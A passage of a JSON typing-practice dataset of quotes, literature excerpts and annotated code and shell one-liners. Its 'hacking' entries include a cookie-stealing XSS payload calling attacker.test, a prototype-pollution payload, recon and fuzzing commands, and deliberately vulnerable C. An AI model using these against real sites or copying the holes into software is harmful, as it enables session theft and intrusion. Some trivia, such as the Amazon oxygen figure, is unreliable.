    "content": "journalctl -u sshd -f | grep -Ei 'failed|invalid user'",
    "attribution": "Defence",
    "language": "shell",
    "explanation": "Watches authentication failures as they happen. Most intrusions are visible in logs long before they are noticed."
  },
  {
    "category": "technology",
    "content": "Simplicity is prerequisite for reliability.",
    "attribution": "Edsger Dijkstra"
  },
  {
    "category": "hacking",
    "content": "JSON.parse('{\"__proto__\": {\"isAdmin\": true}}')",
    "attribution": "Web",
    "language": "javascript",
    "explanation": "Prototype pollution: writing through __proto__ reaches every object that inherits from it."
  },
  {
    "category": "science",
    "content": "The great tragedy of science: the slaying of a beautiful hypothesis by an ugly fact.",
    "attribution": "Thomas Huxley"
  },
  {
    "category": "programming",
    "content": "const total = items.reduce((acc, item) => acc + item.price, 0);",
    "attribution": "JavaScript",
    "language": "javascript",
    "explanation": "reduce walks the array carrying a running value. The 0 is the starting total; drop it and an empty array throws."
  },
  {
    "category": "nature",
    "content": "Deserts are defined by rainfall, not by heat. The largest of them is covered in ice, receives almost no precipitation at all, and has stretches where no rain has been recorded in living memory.",
    "attribution": "Unknown"
  },
  {
    "category": "nature",
    "content": "In some Native languages the term for plants translates to those who take care of us.",
    "attribution": "Robin Wall Kimmerer, Braiding Sweetgrass"
  },
  {
    "category": "hacking",
    "content": "curl -s https://target/app.js | grep -oE '\"/[a-zA-Z0-9_/-]+\"' | sort -u",
    "attribution": "Recon",
    "language": "shell",
    "explanation": "Pulls every unique path a site references from its own JavaScript. Endpoints that no link points at are still endpoints."
  },
  {
    "category": "science",
    "content": "Imagination is more important than knowledge. Knowledge is limited. Imagination encircles the world.",
    "attribution": "Albert Einstein"
  },
  {
    "category": "business",
    "content": "Meetings expand to fill the people invited to them. Every additional attendee adds the cost of their hour and the temptation to justify their presence by speaking, which is why small rooms decide faster.",
    "attribution": "Unknown"
  },
  {
    "category": "business",
    "content": "In God we trust; all others must bring data.",
    "attribution": "W. Edwards Deming"
  },
  {
    "category": "technology",
    "content": "Technology is neither good nor bad; nor is it neutral.",
    "attribution": "Melvin Kranzberg"
  },
  {
    "category": "shell",
    "content": "ls *.png | xargs -P4 -I{} convert {} -resize 50% small/{}",
    "attribution": "Pipelines",
    "language": "shell",
    "explanation": "Runs a command per input line in parallel. -P4 keeps four running at once, and -I{} places each name where the braces are."
  },
  {
    "category": "business",
    "content": "Disruptive technologies typically enable new markets to emerge, and they underperform established products in mainstream markets.",
    "attribution": "Clayton Christensen, The Innovator's Dilemma"
  },
  {
    "category": "programming",
    "content": "git reflog --date=iso | head -20",
    "attribution": "Git",
    "language": "shell",
    "explanation": "Recovers commits that are no longer reachable from any branch. A hard reset does not destroy them; it just stops pointing at them."
  },
  {
    "category": "science",
    "content": "I would rather have questions that can't be answered than answers that can't be questioned.",
    "attribution": "Richard Feynman"
  },
  {
    "category": "programming",
    "content": "EXPLAIN ANALYZE SELECT * FROM test_results WHERE mode_key = 'time-30' ORDER BY wpm DESC LIMIT 50;",
    "attribution": "SQL",
    "language": "clike",
    "explanation": "EXPLAIN ANALYZE runs the query and reports what the planner actually did, not what it guessed it would do."
  },
  {
    "category": "sysadmin",
    "content": "lsof -nP -iTCP -sTCP:LISTEN | awk 'NR > 1 {print $1, $2, $9}'",
    "attribution": "lsof",
    "language": "shell",
    "explanation": "-n and -P stop lsof resolving names and ports, which is much faster and gives numbers you can match against configuration."
  },
  {
    "category": "programming",
    "content": "for f in *.log; do gzip -9 \"$f\" && echo \"packed $f\"; done",
    "attribution": "Shell",
    "language": "shell",
    "explanation": "The quotes around $f matter: without them a filename containing a space becomes two arguments."
  },
  {
    "category": "anime",
    "content": "When you look at someone's kindness, it's like looking at the sun.",
    "attribution": "Fruits Basket"
  },
  {
    "category": "quotes",
    "content": "Success is not final, failure is not fatal: it is the courage to continue that counts. The measure of a person is not whether they are knocked down, but whether they stand up again with the same intention they had before.",
    "attribution": "Unknown"
  },
  {
    "category": "movies",
    "content": "There's no crying in baseball.",
    "attribution": "A League of Their Own (1992)"
  },
  {
    "category": "general",
    "content": "The Pacific Ocean covers more of the planet than all the continents combined. It stretches from the icy waters near Antarctica to the Arctic Circle, and its deepest point, the Mariana Trench, plunges nearly eleven kilometers below the surface.",
    "attribution": "Unknown"
  },
  {
    "category": "quotes",
    "content": "Stay hungry, stay foolish.",
    "attribution": "Steve Jobs"
  },
  {
    "category": "literature",
    "content": "The Nellie, a cruising yawl, swung to her anchor without a flutter of the sails, and was at rest. The flood had made, the wind was nearly calm, and being bound down the river, the only thing for it was to come to and wait for the turn of the tide.",
    "attribution": "Joseph Conrad, Heart of Darkness"
  },
  {
    "category": "philosophy",
    "content": "The beginning is the most important part of the work.",
    "attribution": "Plato, The Republic"
  },
  {
    "category": "shell",
    "content": "cut -d' ' -f1 access.log | sort | uniq -c | sort -rn | head",
    "attribution": "Pipelines",
    "language": "shell",
    "explanation": "uniq only collapses adjacent duplicates, which is why sort comes first. -c counts, and the second sort orders by that count."
  },
  {
    "category": "nature",
    "content": "Wilderness is not a luxury but a necessity of the human spirit.",
    "attribution": "Edward Abbey, Desert Solitaire"
  },
  {
    "category": "shell",
    "content": "awk -F: '{print $1, $7}' /etc/passwd",
    "attribution": "awk",
    "language": "shell",
    "explanation": "-F sets the field separator. This reads /etc/passwd and prints the username and shell, which are fields 1 and 7."
  },
  {
    "category": "science",
    "content": "Water is unusual in almost every way that matters to life. It expands as it freezes, dissolves more substances than any other common liquid, and holds heat well enough to keep an entire planet's temperature steady.",
    "attribution": "Unknown"
  },
  {
    "category": "sysadmin",
    "content": "0 3 * * * /usr/local/bin/backup.sh >> /var/log/backup.log 2>&1",
    "attribution": "Scheduling",
    "language": "shell",
    "explanation": "A cron entry that logs both streams. Without the redirect, cron mails the output to a mailbox nobody reads."
  },
  {
    "category": "programming",
    "content": "match value { Some(n) if n > 0 => n, Some(_) => 0, None => return Err(Error::Missing) }",
    "attribution": "Rust",
    "language": "rust",
    "explanation": "The if after a pattern is a match guard. It narrows an arm without a nested conditional, and the compiler still checks that every case is covered."
  },
  {
    "category": "shell",
    "content": "find . -name '*.log' -print0 | xargs -0 grep -l 'ERROR'",
    "attribution": "Pipelines",
    "language": "shell",
    "explanation": "xargs turns a stream of names into arguments. -0 with -print0 is what makes filenames containing spaces safe."
  },
  {
    "category": "technology",
    "content": "Talk is cheap. Show me the code.",
    "attribution": "Linus Torvalds"
  },
  {
    "category": "business",
    "content": "A bad system will beat a good person every time.",
    "attribution": "W. Edwards Deming"
  },
  {
    "category": "hacking",
    "content": "iptables -P INPUT DROP && iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT",
    "attribution": "Defence",
    "language": "shell",
    "explanation": "Blocks everything inbound by default and allows what is needed back. A deny-by-default policy is the only kind worth writing."
  },
  {
    "category": "literature",
    "content": "Alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do. Once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it.",
    "attribution": "Lewis Carroll, Alice's Adventures in Wonderland"
  },
  {
    "category": "programming",
    "content": "pub struct Point { pub x: f64, pub y: f64 }",
    "attribution": "Rust",
    "language": "rust",
    "explanation": "Fields are private by default in Rust, so each one needs its own pub - making the struct public does not publish its contents."
  },
  {
    "category": "programming",
    "content": "const port = config.port ?? process.env.PORT ?? 8080;",
    "attribution": "JavaScript",
    "language": "javascript",
    "explanation": "?? falls back only on null or undefined, unlike ||, which also fires on 0 and the empty string."
  },
  {
    "category": "literature",
    "content": "In my younger and more vulnerable years my father gave me some advice that I've been turning over in my mind ever since. Whenever you feel like criticizing anyone, he told me, just remember that all the people in this world haven't had the advantages that you've had.",
    "attribution": "F. Scott Fitzgerald, The Great Gatsby"
  },
  {
    "category": "quotes",
    "content": "Failure is impossible.",
    "attribution": "Susan B. Anthony"
  },
  {
    "category": "business",
    "content": "The cost of a decision is not what it takes to make it, but what it takes to reverse it. Cheap, reversible choices should be made quickly; expensive, permanent ones deserve the time that quick decisions save.",
    "attribution": "Unknown"
  },
  {
    "category": "sysadmin",
    "content": "systemctl --failed --no-pager",
    "attribution": "systemd",
    "language": "shell",
    "explanation": "Lists units that failed at boot. The first thing to run on a machine that came up wrong."
  },
  {
    "category": "shell",
    "content": "awk '{sum += $3} END {print sum, sum/NR}' numbers.txt",
    "attribution": "awk",
    "language": "shell",
    "explanation": "Sums a column and prints the average. END runs after the last line, so NR is the total row count by then."
  },
  {
    "category": "shell",
    "content": "awk '$9 == 404 {print $7}' access.log | sort | uniq -c | sort -rn",
    "attribution": "awk",
    "language": "shell",
    "explanation": "A pattern before the block acts as a filter: only lines whose 9th field is 404 are printed. No grep needed."
  },
  {
    "category": "programming",
    "content": "const unique = [...new Set(values)].sort((a, b) => a - b);",
    "attribution": "JavaScript",
    "language": "javascript",
    "explanation": "A Set discards duplicates. Spreading it back to an array allows sorting; the comparator is required or numbers sort as text."
  },
  {
    "category": "movies",
    "content": "It's only after we've lost everything that we're free to do anything.",
    "attribution": "Fight Club (1999)"
  },
  {
    "category": "programming",
    "content": "squares = [n * n for n in range(1, 21) if n % 3 != 0]",
    "attribution": "Python",
    "language": "python",
    "explanation": "A list comprehension: the expression, the loop, then the filter. Faster and clearer than appending in a for loop."
  },
  {
    "category": "hacking",
    "content": "nmap -sV -sC -p- --min-rate 1000 -oA scan 10.0.0.0/24",
    "attribution": "nmap",
    "language": "shell",
    "explanation": "-p- covers all 65535 ports rather than the usual thousand. -oA writes all three output formats at once, which matters because a scan is slow to repeat."
  },
  {
    "category": "literature",
    "content": "Christmas won't be Christmas without any presents, grumbled Jo, lying on the rug. It's so dreadful to be poor, sighed Meg, looking down at her old dress.",
    "attribution": "Louisa May Alcott, Little Women"
  },
  {
    "category": "general",
    "content": "A keyboard layout is a compromise between the hand and the language. The arrangement most people use was settled long before anyone measured which fingers do the most work, and it has outlived every attempt to replace it because the cost of relearning falls on the typist rather than the designer.",
    "attribution": "Unknown"
  },
  {
    "category": "general",
    "content": "A day on Venus is longer than its year. The planet rotates so slowly on its axis that it takes longer to spin around once than it does to complete an entire orbit around the sun.",
    "attribution": "Unknown"
  },
  {
    "category": "programming",
    "content": "fn main() { println!(\"{}\", args().skip(1).collect::<Vec<_>>().join(\" \")); }",
    "attribution": "Rust",
    "language": "rust",
    "explanation": "skip(1) drops the program name, which is always the first argument. Vec<_> lets the compiler infer the element type."
  },
  {
    "category": "shell",
    "content": "awk -F, 'NF != 3 {print NR\": \"$0}' data.csv",
    "attribution": "awk",
    "language": "shell",
    "explanation": "NR is the current line number, NF the field count. This finds malformed rows: any line that does not have exactly three fields."
  },
  {
    "category": "programming",
    "content": "const sorted = [...items].sort((a, b) => a.score - b.score || a.name.localeCompare(b.name));",
    "attribution": "JavaScript",
    "language": "javascript",
    "explanation": "sort mutates, so the spread makes a copy first. The logical or supplies a second comparison used only when the scores are equal."
  },
  {
    "category": "anime",
    "content": "Whatever you lose, you'll find it again. But what you throw away you'll never get back. That is the difference between a mistake and a decision, and most people learn it far too late.",
    "attribution": "Unknown"
  },
  {
    "category": "quotes",
    "content": "Twenty years from now you will be more disappointed by the things you didn't do than by the ones you did do. So throw off the bowlines, sail away from the safe harbour, and catch the trade winds in your sails.",
    "attribution": "H. Jackson Brown Jr."
  },
  {
    "category": "programming",
    "content": "*counts.entry(word).or_insert(0) += 1;",
    "attribution": "Rust",
    "language": "rust",
    "explanation": "entry().or_insert_with() looks the key up once. The obvious contains_key-then-insert hashes it twice."
  },
  {
    "category": "anime",
    "content": "Even if you can't see it, the river keeps flowing under the ice.",
    "attribution": "March Comes in Like a Lion"
  },
  {
    "category": "nature",
    "content": "In the woods, we return to reason and faith. There I feel that nothing can befall me in life which nature cannot repair.",
    "attribution": "Ralph Waldo Emerson, Nature"
  },
  {
    "category": "nature",
    "content": "The land is one great wild, untidy, luxuriant hothouse, made by nature for herself.",
    "attribution": "Charles Darwin, The Voyage of the Beagle"
  },
  {
    "category": "anime",
    "content": "If you don't take risks, you can't create a future.",
    "attribution": "One Piece"
  },
  {
    "category": "shell",
    "content": "awk -F: '$3 >= 1000 && $7 !~ /nologin|false/ {print $1, $6}' /etc/passwd",
    "attribution": "awk",
    "language": "shell",
    "explanation": "Two conditions joined with &&. $3 >= 1000 keeps ordinary user accounts, and !~ excludes any shell matching nologin or false, so what is left is the humans who can log in."
  },
  {
    "category": "anime",
    "content": "You have no enemies. Nobody has any enemies. There is nobody that you should hurt.",
    "attribution": "Vinland Saga"
  },
  {
    "category": "business",
    "content": "Your brand is what other people say about you when you're not in the room.",
    "attribution": "Jeff Bezos"
  },
  {
    "category": "hacking",
    "content": "grep -rE '^[^#].*(ALL|NOPASSWD)' /etc/sudoers /etc/sudoers.d/ 2>/dev/null",
    "attribution": "Defence",
    "language": "shell",
    "explanation": "Audits which accounts can escalate, and how. The answer is usually longer than anyone expects."
  },
  {
    "category": "sysadmin",
    "content": "docker system prune -af --volumes --filter 'until=168h'",
    "attribution": "Containers",
    "language": "shell",
    "explanation": "Removes stopped containers, unused networks and dangling images. The usual cause of a full disk on a build host."
  },
  {
    "category": "programming",
    "content": "def fib(n): return n if n < 2 else fib(n - 1) + fib(n - 2)",
    "attribution": "Python",
    "language": "python",
    "explanation": "Recursion with a base case. Correct but exponential - each call spawns two more, so it recomputes the same values repeatedly."
  },
  {
    "category": "general",
    "content": "Habits are cheaper than decisions. Anything done the same way each time stops costing attention, which is why routine is not the enemy of good work but the thing that leaves enough attention over to do it.",
    "attribution": "Unknown"
  },
  {
    "category": "nature",
    "content": "Nature is not a place to visit. It is home.",
    "attribution": "Gary Snyder"
  },
  {
    "category": "technology",
    "content": "Design is not just what it looks like and feels like. Design is how it works.",
    "attribution": "Steve Jobs"
  },
  {
    "category": "anime",
    "content": "Humankind cannot gain anything without first giving something in return. To obtain, something of equal value must be lost.",
    "attribution": "Fullmetal Alchemist"
  },
  {
    "category": "movies",
    "content": "You either die a hero, or you live long enough to see yourself become the villain.",
    "attribution": "The Dark Knight (2008)"
  },
  {
    "category": "anime",
    "content": "I feel like I'm always searching for someone, or something.",
    "attribution": "Your Name"
  },
  {
    "category": "sysadmin",
    "content": "find /etc /usr -type f -perm -o+w -ls 2>/dev/null",
    "attribution": "Permissions",
    "language": "shell",
    "explanation": "World-writable files outside the places that are meant to be. A common way a service ends up modifiable by anyone."
  },
  {
    "category": "business",
    "content": "A process that depends on one person paying attention is not a process. It is that person, and it will fail on the first day they are unavailable, usually in a way nobody has planned for.",
    "attribution": "Unknown"
  },
  {
    "category": "nature",
    "content": "In nature nothing exists alone.",
    "attribution": "Rachel Carson, Silent Spring"
  },
  {
    "category": "science",
    "content": "The second law of thermodynamics is the only physical law that distinguishes the future from the past. Every other equation runs equally well in either direction, which is why time is a stranger idea than it first appears.",
    "attribution": "Unknown"
  },
  {
    "category": "general",
    "content": "The Eiffel Tower grows about six inches taller in the summer, as the iron structure expands slightly in the heat and contracts again once the weather cools.",
    "attribution": "Unknown"
  },
  {
    "category": "hacking",
    "content": "ffuf -w params.txt -u 'https://target/api?FUZZ=1' -fs 1234 -mc all",
    "attribution": "ffuf",
    "language": "shell",
    "explanation": "-fs hides responses of one exact size, which is how a uniform wall of not-found pages is removed. -mc all then keeps every remaining status code for inspection."
  },
  {
    "category": "hacking",
    "content": "printf(user_input); /* format string bug - should be printf(\"%s\", user_input) */",
    "attribution": "Memory safety",
    "language": "clike",
    "explanation": "An attacker-controlled format string. Every %x walks the stack; %n writes to it."
  },
  {
    "category": "sysadmin",
    "content": "systemd-analyze blame | head -15",
    "attribution": "systemd",
    "language": "shell",
    "explanation": "Ranks services by how long they delayed boot. The usual answer to a slow start is one unit near the top."
  },
  {
    "category": "programming",
    "content": "if err != nil { return fmt.Errorf(\"read config: %w\", err) }",
    "attribution": "Go",
    "language": "clike",
    "explanation": "Go's error convention. %w wraps the original so errors.Is and errors.As can still see it further up."
  },
  {
    "category": "shell",
    "content": "awk '{bytes[$1] += $10} END {for (ip in bytes) print bytes[ip], ip}' access.log | sort -rn | head",
    "attribution": "awk",
    "language": "shell",
    "explanation": "Associative arrays are awk's real power. This sums bytes per IP in one pass, then END prints the totals once input is exhausted."
  },
  {
    "category": "history",
    "content": "Those who cannot remember the past are condemned to repeat it.",
    "attribution": "George Santayana, The Life of Reason"
  },
  {
    "category": "general",
    "content": "Octopuses have three hearts and blue blood. Two of the hearts pump blood to the gills, while the third circulates it to the rest of the body, and the blue color comes from a copper-based protein instead of iron.",
    "attribution": "Unknown"
  },
  {
    "category": "anime",
    "content": "Whatever happens, happens.",
    "attribution": "Cowboy Bebop"
  },
  {
    "category": "literature",
    "content": "The Time Traveller, for so it will be convenient to speak of him, was expounding a recondite matter to us. His grey eyes shone and twinkled, and his usually pale face was flushed and animated.",
    "attribution": "H.G. Wells, The Time Machine"
  },
  {
    "category": "general",
    "content": "The Amazon rainforest produces roughly twenty percent of the oxygen found in the planet's atmosphere, earning it the nickname the lungs of the Earth.",
    "attribution": "Unknown"
  },
  {
    "category": "sysadmin",
    "content": "tar czf - /var/www | ssh backup 'cat > www-$(date +%F).tar.gz'",
    "attribution": "Backup",
    "language": "shell",
    "explanation": "Streams a directory to another host without a temporary archive on either side."
  },
  {
    "category": "shell",
    "content": "find . -type f -name '*.log' -mtime +30 -print0 | xargs -0 rm -v",
    "attribution": "find",
    "language": "shell",
    "explanation": "-print0 separates paths with a null byte and -0 tells xargs to expect that, which is the only safe way to pass file names containing spaces or newlines."
  },
  {
    "category": "movies",
    "content": "The greatest trick the devil ever pulled was convincing the world he didn't exist. And like that, he is gone. Nobody ever believes a story until the moment it is too late to check any part of it.",
    "attribution": "Unknown"
  },
  {
    "category": "shell",
    "content": "awk '{sum += $1; n++} END {if (n) printf \"%.2f\\n\", sum / n}' numbers.txt",
    "attribution": "awk",
    "language": "shell",
    "explanation": "Variables in awk need no declaration and start at zero. END runs once after the last line, so this accumulates while reading and prints the mean at the finish."
  },
  {
    "category": "shell",
    "content": "grep -rn --include='*.rs' -e 'unwrap()' -e 'expect(' src/ | wc -l",
    "attribution": "grep",
    "language": "shell",
    "explanation": "-r walks the tree, --include limits it to one file type, and repeated -e adds alternative patterns. Counting the result gives a rough measure of how much error handling is deferred."
  },
  {
    "category": "shell",
    "content": "awk '{print $1, $NF}' access.log",
    "attribution": "awk",
    "language": "shell",
    "explanation": "awk splits each line into fields on whitespace. $1 is the first, $NF the last - so this prints the first and last column of every line."
  },
  {
    "category": "programming",
    "content": "let mut counts: HashMap<String, usize> = HashMap::new();",
    "attribution": "Rust",
    "language": "rust",
    "explanation": "mut because inserting mutates it. The type annotation is needed here since nothing yet tells the compiler what it holds."
  },
  {
    "category": "literature",
    "content": "You don't know about me without you have read a book by the name of The Adventures of Tom Sawyer, but that ain't no matter. That book was made by Mr. Mark Twain, and he told the truth, mainly.",
    "attribution": "Mark Twain, Adventures of Huckleberry Finn"
  },
  {
    "category": "anime",
    "content": "Life is suffering. It is hard. The world is cursed. But still, you find reasons to keep on living.",
    "attribution": "Princess Mononoke"
  },
  {
    "category": "literature",
    "content": "I read that every known superstition in the world is gathered into the horseshoe of the Carpathians, as if it were the centre of some sort of imaginative whirlpool, and it made me uneasy in a way I could not explain.",
    "attribution": "Bram Stoker, Dracula"
  },
  {
    "category": "science",
    "content": "If you know you are on the right track, if you have this inner knowledge, then nobody can turn you off.",
    "attribution": "Barbara McClintock"
  },
  {
    "category": "sysadmin",
    "content": "awk -F: '$7 !~ /(nologin|false)$/ {print $1, $7}' /etc/passwd",
    "attribution": "Users",
    "language": "shell",
    "explanation": "Accounts with a real login shell, which is the set that can actually sign in."
  },
  {
    "category": "movies",
    "content": "With great power comes great responsibility.",
    "attribution": "Spider-Man (2002)"
  },
  {
    "category": "hacking",
    "content": "find / -perm -4000 -type f 2>/dev/null",
    "attribution": "Post-exploitation",
    "language": "shell",
    "explanation": "Finds setuid binaries. Anything unusual here runs as its owner no matter who executes it."
  },
  {
    "category": "quotes",
    "content": "That man over there says that women need to be helped into carriages, and lifted over ditches, and to have the best place everywhere. Nobody ever helps me into carriages, or over mud puddles, or gives me any best place, and ain't I a woman?",
    "attribution": "Sojourner Truth, Ain't I a Woman?"
  },
  {
    "category": "nature",
    "content": "When we try to pick out anything by itself, we find it hitched to everything else in the universe.",
    "attribution": "John Muir, My First Summer in the Sierra"
  },
  {
    "category": "literature",
    "content": "A throng of bearded men, in sad-colored garments and gray, steeple-crowned hats, intermixed with women, some wearing hoods, and others bareheaded, was assembled in front of a wooden edifice.",
    "attribution": "Nathaniel Hawthorne, The Scarlet Letter"
  },
  {
    "category": "quotes",
    "content": "I went to the woods because I wished to live deliberately, to front only the essential facts of life, and see if I could not learn what it had to teach, and not, when I came to die, discover that I had not lived.",
    "attribution": "Henry David Thoreau, Walden"
  },
  {
    "category": "business",
    "content": "A wealth of information creates a poverty of attention.",
    "attribution": "Herbert Simon"
  },
  {
    "category": "movies",
    "content": "What we've got here is failure to communicate.",
    "attribution": "Cool Hand Luke (1967)"
  },
  {
    "category": "sysadmin",
    "content": "df -i | awk '$5+0 > 80 {print}'",
    "attribution": "Disk",
    "language": "shell",
    "explanation": "A disk that reports free space but still refuses writes is usually out of inodes, not bytes."
  },
  {
    "category": "business",
    "content": "The purpose of business is to create and keep a customer.",
    "attribution": "Peter Drucker"
  },
  {
    "category": "general",
    "content": "The shortest war in recorded history was fought between Britain and Zanzibar in 1896. It lasted around forty minutes before Zanzibar surrendered.",
    "attribution": "Unknown"
  },
  {
    "category": "nature",
    "content": "There are some who can live without wild things, and some who cannot.",
    "attribution": "Aldo Leopold, A Sand County Almanac"
  },
  {
    "category": "hacking",
    "content": "if not hmac.compare_digest(expected_sig, provided_sig): raise ValueError('bad signature')",
    "attribution": "Defence",
    "language": "python",
    "explanation": "Constant-time comparison. A plain == returns early on the first differing byte, which leaks the answer through timing."
  },
  {
    "category": "science",
    "content": "What we observe is not nature itself, but nature exposed to our method of questioning.",
    "attribution": "Werner Heisenberg"
  },
  {
    "category": "movies",
    "content": "You know, for a long time I thought I was in charge of my own life. Then one day I realised I had been repeating the same year over and over, and calling it experience because it made me feel better about it.",
    "attribution": "Unknown"
  },
  {
    "category": "nature",
    "content": "A thing is right when it tends to preserve the integrity, stability and beauty of the biotic community.",
    "attribution": "Aldo Leopold, A Sand County Almanac"
  },
  {
    "category": "technology",
    "content": "The most damaging phrase in the language is: we've always done it this way.",
    "attribution": "Grace Hopper"
  },
  {
    "category": "quotes",
    "content": "It always seems impossible until it's done.",
    "attribution": "Nelson Mandela"
  },
  {
    "category": "science",
    "content": "If I have seen further it is by standing on the shoulders of giants.",
    "attribution": "Isaac Newton"
  },
  {
    "category": "quotes",
    "content": "Genius is one percent inspiration and ninety-nine percent perspiration.",
    "attribution": "Thomas Edison"
  },
  {
    "category": "history",
    "content": "Power concedes nothing without a demand. It never did and it never will.",
    "attribution": "Frederick Douglass, 1857"
  },
  {
    "category": "general",
    "content": "The hardest characters to type are rarely the letters. Punctuation, capitals and digits all require a reach or a modifier, and they appear often enough in ordinary writing that avoiding them in practice leaves a real gap.",
    "attribution": "Unknown"
  },
  {
    "category": "quotes",
    "content": "It is not the critic who counts, not the man who points out how the strong man stumbles, or where the doer of deeds could have done them better. The credit belongs to the man who is actually in the arena.",
    "attribution": "Theodore Roosevelt, 1910"
  },
  {
    "category": "programming",
    "content": "let counts: HashMap<&str, usize> = text.split_whitespace().fold(HashMap::new(), |mut m, w| { *m.entry(w).or_insert(0) += 1; m });",
    "attribution": "Rust",
    "language": "rust",
    "explanation": "entry returns a view into the slot for a key whether or not it exists. or_insert fills it on first sight, and the star dereferences that slot so it can be incremented in place."
  },
  {
    "category": "technology",
    "content": "The first rule of distributed systems is not to build one. The second is that if you must, assume every message may arrive twice, out of order, or not at all, and design so that none of those is a special case. Systems that treat delivery as reliable do not fail gracefully when it is not; they fail at three in the morning, in a way that takes a week to reproduce, and the fix is almost always the design that was rejected at the start for being too complicated.",
    "attribution": "Unknown"
  },
  {
    "category": "literature",
    "content": "There was no possibility of taking a walk that day. We had been wandering, indeed, in the leafless shrubbery an hour in the morning, but since dinner the cold winter wind had brought with it clouds so sombre, and a rain so penetrating.",
    "attribution": "Charlotte Bronte, Jane Eyre"
  },
  {
    "category": "programming",
    "content": "struct node { int value; struct node *next; };",
    "attribution": "C",
    "language": "clike",
    "explanation": "A linked-list node. It refers to its own type through a pointer, which is legal because a pointer has a known size."
  },
  {
    "category": "anime",
    "content": "A heart's a heavy burden.",
    "attribution": "Howl's Moving Castle"
  },
  {
    "category": "movies",
    "content": "I'm trying to free your mind, Neo. But I can only show you the door. You're the one that has to walk through it.",
    "attribution": "The Matrix (1999)"
  },
  {
    "category": "shell",
    "content": "ps -eo pid,ppid,rss,comm --sort=-rss | head -15",
    "attribution": "ps",
    "language": "shell",
    "explanation": "-eo picks exactly which columns to print. rss is resident memory in kilobytes, and the minus sign in --sort reverses the order, so the heaviest processes come first."
  },
  {
    "category": "history",
    "content": "Four score and seven years ago our fathers brought forth on this continent a new nation, conceived in liberty.",
    "attribution": "Abraham Lincoln, Gettysburg Address, 1863"
  },
  {
    "category": "hacking",
    "content": "char buf[64]; strcpy(buf, argv[1]); /* no bound - argv[1] decides the write length */",
    "attribution": "Memory safety",
    "language": "clike",
    "explanation": "The classic overflow: strcpy writes until it finds a NUL, buf holds 64 bytes, and nothing checks which is larger."
  },
  {
    "category": "hacking",
    "content": "lsmod | awk 'NR>1 {print $1}' | while read m; do modinfo -n \"$m\" 2>/dev/null; done | grep -v '^/lib/modules'",
    "attribution": "Defence",
    "language": "shell",
    "explanation": "Compares running kernel modules against what the package manager installed. An unexpected module is worth explaining."
  },
  {
    "category": "hacking",
    "content": "curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sort -u",
    "attribution": "Recon",
    "language": "shell",
    "explanation": "Certificate transparency logs list every name a CA has issued for a domain, including hosts that were never meant to be public."
  },
  {
    "category": "technology",
    "content": "A program is read far more often than it is written, so the time spent making it clear is repaid to everyone who comes after, including the person who wrote it and has since forgotten why any of it is there.",
    "attribution": "Unknown"
  },
  {
    "category": "movies",
    "content": "Of all the gin joints in all the towns in all the world, she walks into mine.",
    "attribution": "Casablanca (1942)"
  },
  {
    "category": "programming",
    "content": "with open(path, encoding='utf-8') as fh: rows = [line.rstrip('\\n').split('\\t') for line in fh if line.strip()]",
    "attribution": "Python",
    "language": "python",
    "explanation": "The with block closes the file even if the loop raises. Naming the encoding matters: without it Python uses the machine's locale, so the same file can parse differently elsewhere."
  },
  {
    "category": "programming",
    "content": "async fn fetch_all(urls: Vec<String>) -> Vec<Result<String, Error>> { futures::future::join_all(urls.into_iter().map(fetch)).await }",
    "attribution": "Rust",
    "language": "rust",
    "explanation": "join_all drives every future at once on one task and waits for all of them, rather than awaiting each in turn, which would make the requests sequential."
  },
  {
    "category": "history",
    "content": "The printing press did not simply make books cheaper. It made two copies of a text identical, which meant that for the first time a scholar could cite a page number and expect another reader to find the same words there.",
    "attribution": "Unknown"
  },
  {
    "category": "science",
    "content": "In the fields of observation chance favours only the prepared mind.",
    "attribution": "Louis Pasteur"
  },
  {
    "category": "quotes",
    "content": "Four score and seven years ago our fathers brought forth on this continent a new nation, conceived in Liberty, and dedicated to the proposition that all men are created equal.",
    "attribution": "Abraham Lincoln, The Gettysburg Address"
  },
  {
    "category": "anime",
    "content": "No matter how much I struggle, there's always a price to pay for changing the past.",
    "attribution": "Steins;Gate"
  },
  {
    "category": "science",
    "content": "The greatest enemy of knowledge is not ignorance, it is the illusion of knowledge.",
    "attribution": "Stephen Hawking"
  },
  {
    "category": "quotes",
    "content": "Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome while trying to succeed.",
    "attribution": "Booker T. Washington"
  },
  {
    "category": "business",
    "content": "Cash and profit are different things, and businesses fail on the first while reporting the second. Revenue recognised this month may not arrive for ninety days, and wages will not wait that long.",
    "attribution": "Unknown"
  },
  {
    "category": "quotes",
    "content": "If there is no struggle, there is no progress. Those who profess to favor freedom, and yet depreciate agitation, are men who want crops without plowing up the ground.",
    "attribution": "Frederick Douglass"
  },
  {
    "category": "programming",
    "content": "git bisect start HEAD v1.2.0 && git bisect run ./test.sh",
    "attribution": "Git",
    "language": "shell",
    "explanation": "Finds the commit that introduced a bug by bisecting history. Give it a known-good and known-bad commit and it halves the range each step."
  },
  {
    "category": "hacking",
    "content": "pacman -Qkk 2>&1 | grep -v ' 0 altered files'",
    "attribution": "Defence",
    "language": "shell",
    "explanation": "Compares installed files against the package manager's own checksums. A changed system binary shows up here."
  },
  {
    "category": "anime",
    "content": "Anywhere can be paradise as long as you have the will to live.",
    "attribution": "Neon Genesis Evangelion"
  },
  {
    "category": "nature",
    "content": "Those who contemplate the beauty of the earth find reserves of strength that will endure as long as life lasts.",
    "attribution": "Rachel Carson, The Sense of Wonder"
  },
  {
    "category": "technology",
    "content": "Premature optimisation wastes effort, but so does the belief that performance can always be added later. Some decisions about data layout and interface shape are very expensive to reverse once anything depends on them.",
    "attribution": "Unknown"
  },
  {
    "category": "sysadmin",
    "content": "find /var/log -type f -size +100M -exec ls -lh {} + | awk '{print $5, $9}'",
    "attribution": "find",
    "language": "shell",
    "explanation": "-exec with a trailing plus batches many paths into one command, rather than the semicolon form that starts a fresh process for every file."
  },
  {
    "category": "hacking",
    "content": "fetch('//attacker.test/?c=' + encodeURIComponent(document.cookie))",
    "attribution": "Web",
    "language": "javascript",
    "explanation": "A stored XSS payload that steals a session. HttpOnly on the cookie is what stops this line reading it."
  },
  {
    "category": "business",
    "content": "There is nothing so useless as doing efficiently that which should not be done at all.",
    "attribution": "Peter Drucker"
  },
  {
    "category": "literature",
